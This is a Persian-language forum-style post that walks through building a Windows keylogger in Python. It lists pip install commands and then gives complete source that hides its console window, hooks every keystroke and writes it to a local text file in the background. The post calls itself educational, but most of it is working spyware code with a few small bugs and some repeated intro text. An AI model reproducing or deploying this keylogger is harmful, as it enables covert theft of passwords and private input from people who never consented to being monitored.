سلام دوستان عزیز
این مطلب صرفا جنبه آموزشی داره .
قصد داریم نحوه طراحی یک کیلاگر به زبان python را با هم بررسی کنیم :
در ابتدا python libraries های مورد نیاز را نصب میکنیم :
من دستور pip رو هم اینجا آپدیت میکنم تا در هنگام دریافت ماژول ها به مشکل دیگه ای بر نخوریم
ماژول های مورد نیاز :
یک فایل با نام keylogger.py ایجاد و در پارتیشن c: قرار دهید :
در نهایت فایل را اجرا کنید ، کیلاگر در محیط background اجرا میشود و اطلاعات در مسیر زیر ذخیره میشود c:\irh\output.txt
موفق باشین ، سوالی بود در خدمتم
این مطلب صرفا جنبه آموزشی داره .
قصد داریم نحوه طراحی یک کیلاگر به زبان python را با هم بررسی کنیم :
در ابتدا python libraries های مورد نیاز را نصب میکنیم :
من دستور pip رو هم اینجا آپدیت میکنم تا در هنگام دریافت ماژول ها به مشکل دیگه ای بر نخوریم
کد:
python -m pip install --upgrade pip
کد:
pip install pywin32 pip install pyhook
کد:
# Python code for keylogger # to be used in windows import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii !=0 or 8: #open output.txt to read current keystrokes f = open('c:\irh\output.txt', 'r+') buffer = f.read() f.close() # open output.txt to write current + new keystrokes f = open('c:\irh\output.txt', 'w') keylogs = chr(event.Ascii) if event.Ascii == 13: keylogs = '/n' buffer += keylogs f.write(buffer) f.close() # create a hook manager object hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()
موفق باشین ، سوالی بود در خدمتم